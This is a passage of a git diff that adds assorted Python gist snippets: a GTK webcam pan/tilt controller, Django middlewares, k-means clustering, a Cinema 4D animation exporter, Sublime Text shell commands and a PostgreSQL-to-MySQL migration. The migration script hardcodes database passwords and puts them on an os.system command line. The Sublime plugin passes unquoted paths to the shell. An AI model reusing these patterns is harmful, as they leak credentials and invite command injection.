+
+import gtk
+import subprocess
+
+## The following imports aren't needed??
+#import pygtk
+#import gobject
+#from subprocess import *
+
+## The full path to uvcdynctrl
+UVCDYNCTRLEXEC="/usr/bin/uvcdynctrl"
+
+## The value indicates amount of movement for panning and tilt
+## Max Ranges (determined with uvcdynctrl -v -c):
+## 	Tilt = -1920 to 1920
+##	Pan  = -4480 to 4480
+panRight = "-100"
+panLeft = "100"
+tiltUp = "-100"
+tiltDown = "100"
+
+## Declare the main class
+class ccUVCPTZ_Main:
+	## Define the init script to initialize the application
+	def __init__(self):
+		## Prep the Main Window for stuff
+		window = gtk.Window(gtk.WINDOW_TOPLEVEL)
+		window.set_title("ccUVCPTZ")
+		window.connect("delete_event", self.hide, window)
+		window.connect("window-state-event", self.window_event, window)
+
+		## Create a StatusIcon for the app
+		statusIcon = gtk.StatusIcon()
+
+		## Let's build the menu for the StatusIcon
+		self.sMenu = gtk.Menu()
+		menuItem = gtk.ImageMenuItem(gtk.STOCK_OPEN)
+		menuItem.connect('activate', self.activate_window, window)
+		self.sMenu.append(menuItem)
+		menuItem = gtk.ImageMenuItem(gtk.STOCK_QUIT)
+		menuItem.connect('activate', self.exit, statusIcon)
+		self.sMenu.append(menuItem)
+
+		## Don't forget to include the icon actions itself
+		statusIcon.set_from_stock(gtk.STOCK_HOME)
+		statusIcon.set_tooltip("StatusIcon test")
+		statusIcon.connect('activate', self.activate_window, window)
+		statusIcon.connect('popup-menu', self.popup_menu, self.sMenu)
+		statusIcon.set_visible(True)
+
+		## Let's use a table to make a nice pretty grid for our buttons
+		self.table = gtk.Table(5, 3, True)
+		window.add(self.table)
+		## Time to build the buttons
+		# Tilt Up Button
+		self.tiltupBtn = gtk.Button(stock=gtk.STOCK_GO_UP)
+		self.tiltupBtn.connect("clicked", self.ptUp)
+		self.table.attach(self.tiltupBtn, 1, 2, 0, 1)
+
+		# Pan Left Button
+		self.panleftBtn = gtk.Button(stock=gtk.STOCK_GO_BACK)
+		self.panleftBtn.connect("clicked", self.ptLeft)
+		self.table.attach(self.panleftBtn, 0, 1, 1, 2)
+
+		# Pan/tilt Reset Button
+		self.resetBtn = gtk.Button(stock=gtk.STOCK_UNDO)
+		self.resetBtn.connect("clicked", self.ptReset)
+		self.table.attach(self.resetBtn, 1, 2, 1, 2)
+
+		# Pan Right Button
+		self.panrightBtn = gtk.Button(stock=gtk.STOCK_GO_FORWARD)
+		self.panrightBtn.connect("clicked", self.ptRight)
+		self.table.attach(self.panrightBtn, 2, 3, 1, 2)
+
+		# Tilt Down Button
+		self.tiltdownBtn = gtk.Button(stock=gtk.STOCK_GO_DOWN)
+		self.tiltdownBtn.connect("clicked", self.ptDown)
+		self.table.attach(self.tiltdownBtn, 1, 2, 2, 3)
+
+		# Quit Button
+		self.quitBtn = gtk.Button(stock=gtk.STOCK_QUIT)
+		self.quitBtn.connect("clicked", self.exit)
+		self.table.attach(self.quitBtn, 1, 2, 4, 5)
+
+		# Now display the table we built
+		self.table.show()
+
+		# Show the entire window
+		window.show_all()
+	
+	## Now for the subfunctions required to actually do something for our app
+	# Tilt up
+	def ptUp(self, widget):
+		control = "Tilt (relative)"
+		value = tiltUp
+		result = subprocess.Popen([UVCDYNCTRLEXEC, "-s", control, "--", value]), 
+		return True
+
+	# Pan Left
+	def ptLeft(self, widget):
+		control = "Pan (relative)"
+		value = panLeft
+		result = subprocess.Popen([UVCDYNCTRLEXEC, "-s", control, "--", value]), 
+		return True
+
+	# Pan/Tilt Reset	
+	def ptReset(self, widget):
+		control = "Pan/tilt Reset"
+		value = "3"
+		result = subprocess.Popen([UVCDYNCTRLEXEC, "-s", control, value]), 
+		return True
+
+	# Pan Right
+	def ptRight(self, widget):
+		control = "Pan (relative)"
+		value = panRight
+		result = subprocess.Popen([UVCDYNCTRLEXEC, "-s", control, "--", value]), 
+		return True
+
+	# Tilt Down
+	def ptDown(self, widget):
+		control = "Tilt (relative)"
+		value = tiltDown
+		result = subprocess.Popen([UVCDYNCTRLEXEC, "-s", control, "--", value]), 
+		return True
+
+	# Quit the application completely
+	def exit(self, widget, data=None):
+		gtk.main_quit()
+
+	# Hide the window on certain events
+	def hide(self, widget, button, window):
+		if window.get_property ('visible'):
+			window.hide()
+		return window
+
+	# Detect if window was minimized and hide
+	def window_event(self, widget, event, window):
+		if event.changed_mask & gtk.gdk.WINDOW_STATE_ICONIFIED:
+		      if event.new_window_state & gtk.gdk.WINDOW_STATE_ICONIFIED:
+			 window.hide()
+		return window
+
+	# Show the popup menu
+	def popup_menu(self, widget, button, time, sMenu = None):
+		if sMenu:
+			sMenu.show_all()
+			sMenu.popup(None, None, None, 3, time)
+		pass
+
+	# Show the window if otherwise hidden, background, or minimized
+	def activate_window(self, widget, window):
+		if window.get_property ('visible'):
+			window.present()
+		else:
+			window.show_all()
+			window.deiconify()
+
+## Let's call our class and load all info
+ccUVCPTZ_Main()
+
+## I don't think I need to worry about threads here??
+#gtk.gdk.threads_init()
+
+## Now let's run the init part of the script
+gtk.main()#!/usr/bin/env python
+########################################################
+# Created by: Steve Cundy
+# Date Modified: Jan 29, 2008
+#
+# Purpose: quick and dirty gui to control PTZ of my
+# Logitech Quickcam Orbit AF (actually there is no zoom
+# control :)
+#
+# To Do:
+# - Modify icons and labels
+# - Detect difference between click and hold for
+#	continued movement of cam
+# - Find out what doesn't work
+# - Actually learn how to code in python instead of
+#	hacking together other peoples code
+########################################################
+
+import gtk
+import subprocess
+
+## The following imports aren't needed??
+#import pygtk
+#import gobject
+#from subprocess import *
+
+## The full path to uvcdynctrl
+UVCDYNCTRLEXEC="/usr/bin/uvcdynctrl"
+
+## The value indicates amount of movement for panning and tilt
+## Max Ranges (determined with uvcdynctrl -v -c):
+## 	Tilt = -1920 to 1920
+##	Pan  = -4480 to 4480
+panRight = "-100"
+panLeft = "100"
+tiltUp = "-100"
+tiltDown = "100"
+
+## Declare the main class
+class ccUVCPTZ_Main:
+	## Define the init script to initialize the application
+	def __init__(self):
+		## Prep the Main Window for stuff
+		window = gtk.Window(gtk.WINDOW_TOPLEVEL)
+		window.set_title("ccUVCPTZ")
+		window.connect("delete_event", self.hide, window)
+		window.connect("window-state-event", self.window_event, window)
+
+		## Create a StatusIcon for the app
+		statusIcon = gtk.StatusIcon()
+
+		## Let's build the menu for the StatusIcon
+		self.sMenu = gtk.Menu()
+		menuItem = gtk.ImageMenuItem(gtk.STOCK_OPEN)
+		menuItem.connect('activate', self.activate_window, window)
+		self.sMenu.append(menuItem)
+		menuItem = gtk.ImageMenuItem(gtk.STOCK_QUIT)
+		menuItem.connect('activate', self.exit, statusIcon)
+		self.sMenu.append(menuItem)
+
+		## Don't forget to include the icon actions itself
+		statusIcon.set_from_stock(gtk.STOCK_HOME)
+		statusIcon.set_tooltip("StatusIcon test")
+		statusIcon.connect('activate', self.activate_window, window)
+		statusIcon.connect('popup-menu', self.popup_menu, self.sMenu)
+		statusIcon.set_visible(True)
+
+		## Let's use a table to make a nice pretty grid for our buttons
+		self.table = gtk.Table(5, 3, True)
+		window.add(self.table)
+		## Time to build the buttons
+		# Tilt Up Button
+		self.tiltupBtn = gtk.Button(stock=gtk.STOCK_GO_UP)
+		self.tiltupBtn.connect("clicked", self.ptUp)
+		self.table.attach(self.tiltupBtn, 1, 2, 0, 1)
+
+		# Pan Left Button
+		self.panleftBtn = gtk.Button(stock=gtk.STOCK_GO_BACK)
+		self.panleftBtn.connect("clicked", self.ptLeft)
+		self.table.attach(self.panleftBtn, 0, 1, 1, 2)
+
+		# Pan/tilt Reset Button
+		self.resetBtn = gtk.Button(stock=gtk.STOCK_UNDO)
+		self.resetBtn.connect("clicked", self.ptReset)
+		self.table.attach(self.resetBtn, 1, 2, 1, 2)
+
+		# Pan Right Button
+		self.panrightBtn = gtk.Button(stock=gtk.STOCK_GO_FORWARD)
+		self.panrightBtn.connect("clicked", self.ptRight)
+		self.table.attach(self.panrightBtn, 2, 3, 1, 2)
+
+		# Tilt Down Button
+		self.tiltdownBtn = gtk.Button(stock=gtk.STOCK_GO_DOWN)
+		self.tiltdownBtn.connect("clicked", self.ptDown)
+		self.table.attach(self.tiltdownBtn, 1, 2, 2, 3)
+
+		# Quit Button
+		self.quitBtn = gtk.Button(stock=gtk.STOCK_QUIT)
+		self.quitBtn.connect("clicked", self.exit)
+		self.table.attach(self.quitBtn, 1, 2, 4, 5)
+
+		# Now display the table we built
+		self.table.show()
+
+		# Show the entire window
+		window.show_all()
+	
+	## Now for the subfunctions required to actually do something for our app
+	# Tilt up
+	def ptUp(self, widget):
+		control = "Tilt (relative)"
+		value = tiltUp
+		result = subprocess.Popen([UVCDYNCTRLEXEC, "-s", control, "--", value]), 
+		return True
+
+	# Pan Left
+	def ptLeft(self, widget):
+		control = "Pan (relative)"
+		value = panLeft
+		result = subprocess.Popen([UVCDYNCTRLEXEC, "-s", control, "--", value]), 
+		return True
+
+	# Pan/Tilt Reset	
+	def ptReset(self, widget):
+		control = "Pan/tilt Reset"
+		value = "3"
+		result = subprocess.Popen([UVCDYNCTRLEXEC, "-s", control, value]), 
+		return True
+
+	# Pan Right
+	def ptRight(self, widget):
+		control = "Pan (relative)"
+		value = panRight
+		result = subprocess.Popen([UVCDYNCTRLEXEC, "-s", control, "--", value]), 
+		return True
+
+	# Tilt Down
+	def ptDown(self, widget):
+		control = "Tilt (relative)"
+		value = tiltDown
+		result = subprocess.Popen([UVCDYNCTRLEXEC, "-s", control, "--", value]), 
+		return True
+
+	# Quit the application completely
+	def exit(self, widget, data=None):
+		gtk.main_quit()
+
+	# Hide the window on certain events
+	def hide(self, widget, button, window):
+		if window.get_property ('visible'):
+			window.hide()
+		return window
+
+	# Detect if window was minimized and hide
+	def window_event(self, widget, event, window):
+		if event.changed_mask & gtk.gdk.WINDOW_STATE_ICONIFIED:
+		      if event.new_window_state & gtk.gdk.WINDOW_STATE_ICONIFIED:
+			 window.hide()
+		return window
+
+	# Show the popup menu
+	def popup_menu(self, widget, button, time, sMenu = None):
+		if sMenu:
+			sMenu.show_all()
+			sMenu.popup(None, None, None, 3, time)
+		pass
+
+	# Show the window if otherwise hidden, background, or minimized
+	def activate_window(self, widget, window):
+		if window.get_property ('visible'):
+			window.present()
+		else:
+			window.show_all()
+			window.deiconify()
+
+## Let's call our class and load all info
+ccUVCPTZ_Main()
+
+## I don't think I need to worry about threads here??
+#gtk.gdk.threads_init()
+
+## Now let's run the init part of the script
+gtk.main()
\ No newline at end of file
diff --git a/hard-gists/144747/._snippet.py b/hard-gists/144747/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/144747/._snippet.py differ
diff --git a/hard-gists/144747/snippet.py b/hard-gists/144747/snippet.py
new file mode 100644
index 00000000..70fa094f
--- /dev/null
+++ b/hard-gists/144747/snippet.py
@@ -0,0 +1,38 @@
+from random import randint
+from django.http import HttpResponse
+
+class HTCPCPMiddleware(object):
+    """
+    This middleware allows a your django project to act as a HTCPCP (Hyper
+    Text Coffee Pot Control Protocol) server. If the user requests to BREW
+    a coffee, and it is not on the list. Then it will get a `406 Not
+    Acceptable`, and randomly it will respond with `418 I'm a teapot`.
+    
+    If the request is not a HTCPCP (BREW) Request then the middleware will
+    quit leaving django to handle the request.
+    """
+    coffee_list = [
+        '/espresso/',
+        '/espresso/americano/',
+        '/espresso/lungo/',
+        '/espresso/flat-white/',
+        '/black-coffee/',
+        '/latte/',
+        '/ristretto/',
+        '/cappuccino/'
+    ]
+    
+    def process_request(self, request):
+        if request.method != 'BREW' or request.method != 'WHEN':
+            return
+        
+        if randint(-10, 5) > 0:
+            return HttpResponse('I\'m a teapot short and stout.', status=418)
+        
+        if request.method == 'WHEN':
+            return HttpResponse('Your coffee is complete.')
+        
+        if request.path in self.coffee_list:
+            return HttpResponse('The coffee is brewed, please send a WHEN request when we should stop pouring the milk.')
+        else:
+            return HttpResponse('Unrecognised coffee, %s' % ', '.join(self.coffee_list), status=406)
diff --git a/hard-gists/1451300/._snippet.py b/hard-gists/1451300/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1451300/._snippet.py differ
diff --git a/hard-gists/1451300/snippet.py b/hard-gists/1451300/snippet.py
new file mode 100644
index 00000000..e8d10b22
--- /dev/null
+++ b/hard-gists/1451300/snippet.py
@@ -0,0 +1,154 @@
+# Copyright Mathieu Blondel December 2011
+# License: BSD 3 clause
+
+import numpy as np
+import pylab as pl
+
+from sklearn.base import BaseEstimator
+from sklearn.utils import check_random_state
+from sklearn.cluster import MiniBatchKMeans
+from sklearn.cluster import KMeans as KMeansGood
+from sklearn.metrics.pairwise import euclidean_distances, manhattan_distances
+from sklearn.datasets.samples_generator import make_blobs
+
+##############################################################################
+# Generate sample data
+np.random.seed(0)
+
+batch_size = 45
+centers = [[1, 1], [-1, -1], [1, -1]]
+n_clusters = len(centers)
+X, labels_true = make_blobs(n_samples=1200, centers=centers, cluster_std=0.3)
+
+class KMeans(BaseEstimator):
+
+    def __init__(self, k, max_iter=100, random_state=0, tol=1e-4):
+        self.k = k
+        self.max_iter = max_iter
+        self.random_state = random_state
+        self.tol = tol
+
+    def _e_step(self, X):
+        self.labels_ = euclidean_distances(X, self.cluster_centers_,
+                                     squared=True).argmin(axis=1)
+
+    def _average(self, X):
+        return X.mean(axis=0)
+
+    def _m_step(self, X):
+        X_center = None
+        for center_id in range(self.k):
+            center_mask = self.labels_ == center_id
+            if not np.any(center_mask):
+                # The centroid of empty clusters is set to the center of
+                # everything
+                if X_center is None:
+                    X_center = self._average(X)
+                self.cluster_centers_[center_id] = X_center
+            else:
+                self.cluster_centers_[center_id] = \
+                    self._average(X[center_mask])
+
+    def fit(self, X, y=None):
+        n_samples = X.shape[0]
+        vdata = np.mean(np.var(X, 0))
+
+        random_state = check_random_state(self.random_state)
+        self.labels_ = random_state.permutation(n_samples)[:self.k]
+        self.cluster_centers_ = X[self.labels_]
+
+        for i in xrange(self.max_iter):
+            centers_old = self.cluster_centers_.copy()
+
+            self._e_step(X)
+            self._m_step(X)
+
+            if np.sum((centers_old - self.cluster_centers_) ** 2) < self.tol * vdata:
+                break
+
+        return self
+
+class KMedians(KMeans):
+
+    def _e_step(self, X):
+        self.labels_ = manhattan_distances(X, self.cluster_centers_).argmin(axis=1)
+
+    def _average(self, X):
+        return np.median(X, axis=0)
+
+class FuzzyKMeans(KMeans):
+
+    def __init__(self, k, m=2, max_iter=100, random_state=0, tol=1e-4):
+        """
+        m > 1: fuzzy-ness parameter
+        The closer to m is to 1, the closter to hard kmeans.
+        The bigger m, the fuzzier (converge to the global cluster).
+        """
+        self.k = k
+        assert m > 1
+        self.m = m
+        self.max_iter = max_iter
+        self.random_state = random_state
+        self.tol = tol
+
+    def _e_step(self, X):
+        D = 1.0 / euclidean_distances(X, self.cluster_centers_, squared=True)
+        D **= 1.0 / (self.m - 1)
+        D /= np.sum(D, axis=1)[:, np.newaxis]
+        # shape: n_samples x k
+        self.fuzzy_labels_ = D
+        self.labels_ = self.fuzzy_labels_.argmax(axis=1)
+
+    def _m_step(self, X):
+        weights = self.fuzzy_labels_ ** self.m
+        # shape: n_clusters x n_features
+        self.cluster_centers_ = np.dot(X.T, weights).T
+        self.cluster_centers_ /= weights.sum(axis=0)[:, np.newaxis]
+
+    def fit(self, X, y=None):
+        n_samples, n_features = X.shape
+        vdata = np.mean(np.var(X, 0))
+
+        random_state = check_random_state(self.random_state)
+        self.fuzzy_labels_ = random_state.rand(n_samples, self.k)
+        self.fuzzy_labels_ /= self.fuzzy_labels_.sum(axis=1)[:, np.newaxis]
+        self._m_step(X)
+
+        for i in xrange(self.max_iter):
+            centers_old = self.cluster_centers_.copy()
+
+            self._e_step(X)
+            self._m_step(X)
+
+            if np.sum((centers_old - self.cluster_centers_) ** 2) < self.tol * vdata:
+                break
+
+        return self
+
+
+kmeans = KMeans(k=3)
+kmeans.fit(X)
+
+kmedians = KMedians(k=3)
+kmedians.fit(X)
+
+fuzzy_kmeans = FuzzyKMeans(k=3, m=2)
+fuzzy_kmeans.fit(X)
+
+fig = pl.figure()
+colors = ['#4EACC5', '#FF9C34', '#4E9A06']
+
+objects = (kmeans, kmedians, fuzzy_kmeans)
+
+for i, obj in enumerate(objects):
+    ax = fig.add_subplot(1, len(objects), i + 1)
+    for k, col in zip(range(obj.k), colors):
+        my_members = obj.labels_ == k
+        cluster_center = obj.cluster_centers_[k]
+        ax.plot(X[my_members, 0], X[my_members, 1], 'w',
+                markerfacecolor=col, marker='.')
+        ax.plot(cluster_center[0], cluster_center[1], 'o', markerfacecolor=col,
+                                        markeredgecolor='k', markersize=6)
+    ax.set_title(obj.__class__.__name__)
+
+pl.show()
diff --git a/hard-gists/1453629/._snippet.py b/hard-gists/1453629/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1453629/._snippet.py differ
diff --git a/hard-gists/1453629/snippet.py b/hard-gists/1453629/snippet.py
new file mode 100644
index 00000000..d27b857b
--- /dev/null
+++ b/hard-gists/1453629/snippet.py
@@ -0,0 +1,27 @@
+"""
+This module provides very simple Django middleware that sleeps on every request.
+
+This is useful when you want to simulate slow response times (as might be
+encountered, say, on a cell network).
+
+To use, add this middleware, and add a value for SLEEP_TIME to your settings.
+
+Possible future feature: Look for an X-Django-Sleep header on each request,
+to let the client specify per-request sleep time.
+"""
+
+import time
+
+import django.conf
+import django.core.exceptions
+
+
+class SleepMiddleware(object):
+
+    def __init__(self):
+        self.sleep_time = getattr(django.conf.settings, "SLEEP_TIME", 0)
+        if not isinstance(self.sleep_time, (int, float)) or self.sleep_time <= 0:
+            raise django.core.exceptions.MiddlewareNotUsed
+
+    def process_request(self, request):
+        time.sleep(self.sleep_time)
diff --git a/hard-gists/1459283a9c934cbc41f3/._snippet.py b/hard-gists/1459283a9c934cbc41f3/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1459283a9c934cbc41f3/._snippet.py differ
diff --git a/hard-gists/1459283a9c934cbc41f3/snippet.py b/hard-gists/1459283a9c934cbc41f3/snippet.py
new file mode 100644
index 00000000..9bc8a59e
--- /dev/null
+++ b/hard-gists/1459283a9c934cbc41f3/snippet.py
@@ -0,0 +1,207 @@
+# Copy animation crudely to a file and back
+
+import c4d
+import c4d.gui as gui
+import c4d.storage as storage
+import json
+import urllib
+import os.path
+import datetime
+import platform
+import functools
+import traceback
+import contextlib
+import webbrowser
+
+REPORT_SUBJ = "Error report for C4D Aimation Export Script"
+REPORT_ADDR = "jason.dixon.email@gmail.com"
+
+EXTENSION = ".anim"
+DIVIDER = "|"
+
+SELECT_CHILDREN = 16388
+assert c4d.GetCommandName(SELECT_CHILDREN) == "Select Children"
+
+INTERPOLATION = {
+    "spline": c4d.CINTERPOLATION_SPLINE,
+    "linear": c4d.CINTERPOLATION_LINEAR,
+    "step": c4d.CINTERPOLATION_STEP
+}
+INTERPOLATION.update((b, a) for a, b in INTERPOLATION.items()) # Reverse lookup
+
+@contextlib.contextmanager
+def report():
+    err = None
+    try:
+        yield
+    except Exception:
+        if gui.QuestionDialog("There was an error running the script. Would you like to send a brief report?"):
+            # Generate Report
+            webbrowser.open("mailto:{email}?subject={subject}&body={body}".format(
+                email=REPORT_ADDR,
+                subject=urllib.quote(REPORT_SUBJ),
+                body=urllib.quote("\n".join((
+                    str(datetime.datetime.now()),
+                    platform.platform(),
+                    "C4D version %s" % c4d.GetC4DVersion(),
+                    __file__,
+                    traceback.format_exc()
+                )))
+            ))
+        raise
+
+def strip_namespace(name):
+    return name.split("::")[-1]
+
+def get_selection(doc):
+    c4d.CallCommand(SELECT_CHILDREN)
+    return doc.GetActiveObjects(c4d.GETACTIVEOBJECTFLAGS_CHILDREN)
+
+def get_tracks(obj):
+    name = strip_namespace(obj.GetName())
+    for track in obj.GetCTracks():
+        yield name + DIVIDER + track.GetName(), track
+    tags = obj.GetTags()
+    for tag in tags:
+        tag_name = strip_namespace(tag.GetName())
+        for track in tag.GetCTracks():
+            yield name + DIVIDER + tag_name + DIVIDER + track.GetName(), track
+
+def get_keys(curve):
+    """ Key: [0]Time, [1]Value, [2]left_time, [3]left_value, [4]right_time, [5]right_value, [6]interpolation """
+    for i in range(curve.GetKeyCount()):
+        key = curve.GetKey(i)
+        interpolation = INTERPOLATION[key.GetInterpolation()]
+        yield pull_key(key)
+
+def set_key(curve, key_data):
+    key = curve.FindKey(c4d.BaseTime(key_data[0])) # Check for an existing keyframe
+    if key:
+        key = push_key(curve, key["key"], key_data)
+        new = False
+    else:
+        key = push_key(curve, c4d.CKey(), key_data)
+        new = True
+    if new:
+        curve.InsertKey(key)
+    c4d.EventAdd()
+
+def pull_key(key):
+    return [
+        key.GetTime().Get(), key.GetValue(),
+        key.GetTimeLeft().Get(), key.GetValueLeft(),
+        key.GetTimeRight().Get(), key.GetValueRight(),
+        interpolation
+        ]
+
+def push_key(curve, key, key_data):
+    key.SetTime(curve, c4d.BaseTime(key_data[0]))
+    key.SetValue(curve, key_data[1])
+    key.SetInterpolation(curve, INTERPOLATION[key_data[6]])
+    key.SetTimeLeft(curve, c4d.BaseTime(key_data[2]))
+    key.SetTimeRight(curve, c4d.BaseTime(key_data[4]))
+    key.SetValueLeft(curve, key_data[3])
+    key.SetValueRight(curve, key_data[5])
+    return key
+
+def offset_key(key, time=0, value=0):
+    if time:
+        key[0] += time
+        # key[2] += time
+        # key[4] += time
+    if value:
+        key[1] += value
+        # key[3] += value
+        # key[5] += value
+    return key
+
+def zero_time(data):
+    times = set(c[0] for a, b in data for c in b)
+    offset = min(times) * -1 # Get inverse of min time
+    for name, keys in data:
+        keys = [offset_key(a, time=offset) for a in keys]
+        yield name, keys
+
+def choice(*choices):
+    ids = dict((c4d.FIRST_POPUP_ID + a, b) for a, b in enumerate(choices))
+    menu = c4d.BaseContainer()
+    for a in ids.iteritems(): menu.SetString(*a)
+    ids[0] = None # If nothing is chosen
+    chosen = gui.ShowPopupDialog(cd=None, bc=menu, x=c4d.MOUSEPOS, y=c4d.MOUSEPOS)
+    return ids[chosen]
+
+def save_dialog(title="Save file"):
+    win = storage.SaveDialog(title=title)
+    return win.decode("utf-8") if win else ""
+
+def load_dialog(title="Load file"):
+    win = storage.LoadDialog(title=title)
+    return win.decode("utf-8") if win else ""
+
+def main(doc):
+    options = ["Import Animation (absolute)", "Import Animation (relative)", "Export Animation"]
+    picked = choice(*options)
+
+    if picked == options[0] or picked == options[1]: # Import
+        file_path = load_dialog(title="Load Animation")
+        if file_path:
+            with open(file_path, "r") as f:
+                data = json.load(f)
+            selection = get_selection(doc)
+            if not selection: return gui.MessageDialog("Nothing Selected. :(")
+            curves = dict(b for a in get_selection(doc) for b in get_tracks(a))
+            exists = [(a, b) for a, b in data.iteritems() if a in curves]
+            if not exists: return gui.MessageDialog("Nothing selected can have animation applied. :(")
+
+            do_offset = gui.QuestionDialog("Would you like to import your Animation starting at the current time?")
+            relative = picked == options[1]
+            curr_time = doc.GetTime()
+            fps = doc.GetFps()
+
+            if do_offset:
+                exists = zero_time(exists) # Zero out our time so we can offset successfully
+                time_offset = curr_time.Get()
+            else:
+                time_offset = 0
+
+            for name, keys in exists:
+                curve = curves[name].GetCurve()
+
+                if relative:
+                    print name, curve.GetValue(c4d.BaseTime(keys[0][0]), fps), keys[0][1]
+                    value_offset = curve.GetValue(c4d.BaseTime(keys[0][0]), fps) - keys[0][1]
+                else:
+                    value_offset = 0
+
+                for key in keys:
+                    offset_key(key, time=time_offset, value=value_offset)
+                    set_key(curve, key)
+
+
+                # Remove existing keyframes
+                # times = set(a[0] for a in keys)
+                # min_, max_ = min(times), max(times)
+                # existing_keys = get_keys(curve)
+                # for key in existing_keys: # Remove existing keys that eat into new animation space
+                #     if min_ <= key[0] <= max_:
+                #         key = curve.FindKey(c4d.BaseTime(key[0]))
+                #         curve.DelKey(key["idx"])
+
+
+    elif picked == options[2]: # Export
+        data = dict((b, list(get_keys(c.GetCurve()))) for a in get_selection(doc) for b, c in get_tracks(a))
+        if not data: return gui.MessageDialog("No Animation to Export. :(")
+        # zero_time(data) # Zero time
+        file_path = save_dialog("Save Animation")
+        if file_path:
+            _, ext = os.path.splitext(file_path)
+            if ext != EXTENSION:
+                file_path += EXTENSION
+            with open(file_path, "w") as f:
+                json.dump(data, f, indent=4)
+            print "Animation Exported to ", file_path
+
+if __name__ == '__main__':
+    doc = c4d.documents.GetActiveDocument()
+    with report():
+        main(doc)
diff --git a/hard-gists/1467584/._snippet.py b/hard-gists/1467584/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1467584/._snippet.py differ
diff --git a/hard-gists/1467584/snippet.py b/hard-gists/1467584/snippet.py
new file mode 100644
index 00000000..dee59fa5
--- /dev/null
+++ b/hard-gists/1467584/snippet.py
@@ -0,0 +1,39 @@
+###########################
+# windows only
+###########################
+
+#import sublime
+import sublime_plugin
+import os
+import os.path
+
+
+class OpenInDefaultCommand(sublime_plugin.TextCommand):
+    def run(self, edit):
+        os.system(self.view.file_name())
+
+
+class CmdWindowHereCommand(sublime_plugin.TextCommand):
+    def run(self, edit):
+        path = self.view.file_name()
+        dirPath = os.path.dirname(path)
+        cmd = 'start /D"%(dirPath)s"' % {'dirPath': dirPath}
+        #print cmd
+        os.system(cmd)
+
+
+cygBinPath = 'c:\\cygwin\\bin'
+
+
+def to_cygpath(path):
+    return os.popen('%(cygBinPath)s\\cygpath "%(path)s"' % {'cygBinPath': cygBinPath, 'path': path}).read().rstrip()
+
+
+class BashPromptHereCommand(sublime_plugin.TextCommand):
+    def run(self, edit):
+        path = self.view.file_name()
+        dirPath = os.path.dirname(path)
+        cP = to_cygpath(dirPath)
+        cmd = 'start %(cygBinPath)s\\bash --login -i -c "cd \\"%(cP)s\\"; exec bash"' % {'cygBinPath': cygBinPath, 'cP': cP}
+        #print cmd
+        os.system(cmd)
diff --git a/hard-gists/1473120/._snippet.py b/hard-gists/1473120/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1473120/._snippet.py differ
diff --git a/hard-gists/1473120/snippet.py b/hard-gists/1473120/snippet.py
new file mode 100644
index 00000000..bdafae3d
--- /dev/null
+++ b/hard-gists/1473120/snippet.py
@@ -0,0 +1,10 @@
+from django.views.generic import View
+from django.utils import simplejson
+
+
+class JSONResponseView(View):
+
+    def render_to_response(self, data, **httpresponse_kwargs):
+        "Retuns a json response based on the context"
+        json_data = simplejson.dumps(data)
+        return HttpResponse(json_data, content_type="application/json", **httpresponse_kwargs)
\ No newline at end of file
diff --git a/hard-gists/1483322/._snippet.py b/hard-gists/1483322/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1483322/._snippet.py differ
diff --git a/hard-gists/1483322/snippet.py b/hard-gists/1483322/snippet.py
new file mode 100644
index 00000000..eda5e948
--- /dev/null
+++ b/hard-gists/1483322/snippet.py
@@ -0,0 +1,83 @@
+#! /usr/bin/env python
+import os
+import psycopg2
+import MySQLdb
+
+PG = {
+    'name' : 'moodle_rvt_sociales',
+    'user' : 'diegueus9',
+    'pass' : 'fuseki',
+    'host' : 'localhost',
+}
+
+MYSQL = {
+    'db': 'moodle_rvt_sociales',
+    'user': 'root',
+    'passwd': 'fuseki',
+    'host': 'localhost',
+}
+
+TABLES_LIST = [
+    'pais',
+    'tutor_rvt',
+    'tipo_area',
+    'administradores',
+    'ahijado',
+    'contactos',
+    'departamento',
+    'desempena',
+    'ejerce_dp',
+    'ejerce_en',
+    'ejerce_tv',
+    'grupo_interes',
+    'institucion',
+    'lista_contactos_grupo',
+    'municipio',
+    'promedio',
+    'promedio_categoria',
+    'rol_es_mti',
+    'tabla_auxiliar_para_borrar_los_que_nunca',
+    'tipo_area',
+]
+
+def create_pg_connection():
+    string = "dbname={name} user={user} password={pass}".format(**PG)
+    conn = psycopg2.connect(string)
+    cur = conn.cursor()
+    return cur
+
+def generate_tsv(table):
+    file_ = open('/tmp/{0}.tsv'.format(table), 'w')
+    kwargs = {
+        'file': file_,
+        'table': table,
+    }
+    cursor = create_pg_connection()
+    cursor.copy_to(**kwargs)
+    cursor.close()
+
+def import_tsv(table):
+    MYSQL.update({'table': table})
+    mysql_command = 'mysqlimport --local --compress --user={user} --password={passwd} --verbose --host={host} {db} /tmp/{table}.tsv'.format(**MYSQL)
+    os.system(mysql_command)
+
+def create_mysql_connection():
+    conn = MySQLdb.connect(**MYSQL)
+    cursor = conn.cursor()
+    return cursor
+
+def get_mysql_tables():
+    cursor = create_mysql_connection()
+    cursor.execute(""" SHOW TABLES """)
+    result = cursor.fetchall()
+    for table in result:
+        yield table[0]
+
+
+if __name__=="__main__":
+    TABLES_LIST = []
+    for table in get_mysql_tables():
+        TABLES_LIST.append(table)
+    for table in TABLES_LIST:
+        generate_tsv(table)
+        import_tsv(table)
\ No newline at end of file
diff --git a/hard-gists/1486762/._snippet.py b/hard-gists/1486762/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1486762/._snippet.py differ
diff --git a/hard-gists/1486762/snippet.py b/hard-gists/1486762/snippet.py
new file mode 100644
index 00000000..7bca960a
--- /dev/null
+++ b/hard-gists/1486762/snippet.py
@@ -0,0 +1,261 @@
+#! /usr/bin/pythonw
+#
+#	Modified by Michael Bianco <info@cliffsidedev.com> on June 26, 2009
+#	Written by Thomas Pan at January 21, 2007
+#	mysql2graffle for Omnigraffle 5 is based on
+#	MyDBGraffle for OmniGraffle 4 which is based on Paul Davis' work at http://www.visualdistortion.org
+#
+#	Requires:
+#
+#		OmniGraffle 5
+#			http://www.omnigroup.com/applications/omnigraffle/
+#
+#		Python
+#			http://www.python.org
+#
+#		AppScript
